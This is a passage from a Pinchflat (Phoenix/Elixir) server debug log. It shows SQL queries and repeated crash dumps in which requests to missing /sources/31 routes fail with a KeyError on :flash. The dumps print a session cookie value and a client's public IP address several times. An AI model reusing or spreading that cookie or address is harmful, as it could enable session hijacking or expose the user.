:"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig (truncated) 06:46:06.229 [info] GET /sources/31/media/91245/edit 06:46:06.230 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91245", "source_id" => "31"} Pipelines: [:browser] 06:46:06.231 [debug] QUERY OK source="media_items" db=0.5ms idle=342.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91245] 06:46:06.232 [debug] QUERY OK source="settings" db=0.3ms idle=343.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.233 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=343.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.234 [debug] QUERY OK source="settings" db=0.2ms idle=344.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.237 [info] Sent 200 in 7ms 06:46:06.533 [info] GET /sources/new 06:46:06.533 [info] GET /sources/31/force_redownload 06:46:06.534 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "31"} Pipelines: [:browser] 06:46:06.534 [info] GET /sources/31 06:46:06.534 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "31"} Pipelines: [:browser] 06:46:06.535 [info] GET /sources/31/force_download_pending 06:46:06.535 [info] GET /sources/31/sync_files_on_disk 06:46:06.536 [info] GET /sources/31/force_index 06:46:06.536 [info] GET /sources/31/force_metadata_refresh 06:46:06.537 [debug] QUERY OK source="sources" db=2.2ms idle=303.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:06.538 [debug] QUERY OK source="settings" db=2.9ms queue=0.2ms idle=643.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.538 [debug] QUERY OK source="settings" db=2.3ms idle=302.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.538 [debug] QUERY OK source="settings" db=2.0ms idle=302.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.538 [debug] QUERY OK source="settings" db=0.8ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=302.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:06.539 [debug] QUERY OK source="settings" db=1.7ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:06.539 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:06.539 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:06.540 [debug] QUERY OK source="media_profiles" db=0.8ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:06.540 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.540 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:06.540 [debug] QUERY OK source="settings" db=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.540 [debug] QUERY OK source="settings" db=0.5ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.540 [debug] QUERY OK source="settings" db=1.3ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.540 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:06.540 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:46:06.540 [debug] QUERY OK source="tasks" db=0.5ms idle=0.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 06:46:06.541 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.541 [debug] QUERY OK source="oban_jobs" db=0.2ms queue=0.1ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 06:46:06.541 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.542 [debug] QUERY OK source="settings" db=0.4ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.542 [debug] QUERY OK source="settings" db=0.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [error] #PID<0.140601.0> running PinchflatWeb.Endpoint (connection #PID<0.140517.0>, stream id 13) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140601.0>, params: %{}, path_info: ["sources", "31", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa82D7Q7fez8cAAD4H"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 32994}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", (truncated) 06:46:06.542 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.539 [error] #PID<0.140603.0> running PinchflatWeb.Endpoint (connection #PID<0.140541.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33102}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.140603.0>, params: %{}, path_info: ["sources", "31", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.164.173.51"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "104.164.173.51"} ], request_path: "/sources/31/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXa82EPh4_GK08AAC1G"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33102}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTnhBdzRVel91WHRlSy0tNzlncjVBTE1t.Sgae8tKVhcVL29bMd54orMt0J283dWTgXPhhXgfAG0c", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "104.164.173.51", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "104.164.173.51" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140541.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 33102}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", (truncated) 06:46:06.543 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:06.540 [error] #PID<0.140604.0> running PinchflatWeb.Endpoint (connection #PID<0.140527.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.140527.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/sync_files_on_disk", host: 